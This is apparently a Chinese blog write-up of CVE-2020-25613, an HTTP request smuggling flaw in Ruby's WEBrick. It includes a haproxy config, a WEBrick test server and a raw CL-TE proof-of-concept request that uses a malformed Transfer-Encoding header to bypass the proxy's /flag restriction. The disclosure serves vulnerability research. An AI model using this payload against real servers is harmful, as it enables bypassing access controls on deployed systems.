0%

HTTP Request Smuggling in ruby webrick

漏洞摘要

webrick是ruby自带的一个http服务模块,支持Transfer-Encoding和Content-Length,但是在校验时,仅用了简单的正则校验,阅读代码后确认存在HTTP Request Smuggling,提交到hackerone,成功薅到一枚CVE:CVE-2020-25613

漏洞复现

使用haproxy作为前端代理演示漏洞,CL-TE型利用

配置前端代理haproxy 1.5.3,配置文件haproxy.cfg,配置文件禁止了对/flag目录的访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
global
daemon
maxconn 256

defaults
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms

frontend http-in
bind *:80
default_backend servers
acl url_403 path_beg -i /flag
http-request deny if url_403

backend servers
server server1 127.0.0.1:8080 maxconn 32

配置后端webrick HTTP服务脚本http_server.rb,脚本对/flag目录访问返回设置内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env ruby

require 'webrick'

server = WEBrick::HTTPServer.new(
:Port => 8080,
)

server.mount_proc '/' do |req, res|
res.body = 'hello world'
end

server.mount_proc '/flag' do |req, res|
res.body = 'flag is 123456'
end

server.start

POC

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: AAA chunked BBB
Connection: keep-alive
Content-Length: 50

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1

使用POC发包后,前端代理haproxy识别到无效头Transfer-Encoding: AAA chunked BBB,从而认为数据包是Content-Length型HTTP请求,把50字节数据传递给后端webrick。

webrick收到前端转发给他的HTTP请求后,使用存在漏洞的正则检查无效头Transfer-Encoding: AAA chunked BBB,检查通过,认为自己收到了一个Transfer-Encoding型HTTP请求,把0\r\n前的数据作为一个HTTP请求,0\r\n后的数据作为另一个HTTP请求,最终导致HTTP Request Smuggling。

POC攻击成功,将绕过前端代理haproxy对/flag目录的访问限制。